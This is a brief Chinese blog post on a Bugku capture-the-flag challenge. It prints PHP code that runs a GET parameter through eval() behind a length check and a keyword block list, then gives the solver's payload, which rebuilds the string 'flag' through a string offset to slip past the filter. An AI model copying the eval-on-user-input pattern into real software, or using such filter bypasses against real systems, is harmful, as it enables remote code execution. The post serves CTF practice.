这个题目的考察的还是代码审计,还有eval函数的利用,当然还有对过滤这些因素的审查。
代码块就直接放下面了:先刷题,改天再回过来看。
<?php
error_reporting(0);
require __DIR__.'/flag.php';
$exam = 'return\''.sha1(time()).'\';';
if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo '马老师发生甚么事了';
}
echo '<hr>';
highlight_file(__FILE__);
payload:?flag=$a=blag;$a{0}=f;111231231231231231111;?>
打开网页需要代码审计
标签:__,红包,Bugku,GET,else,flag,冬至,echo,strlen From: https://www.cnblogs.com/KAKSKY/p/17665257.html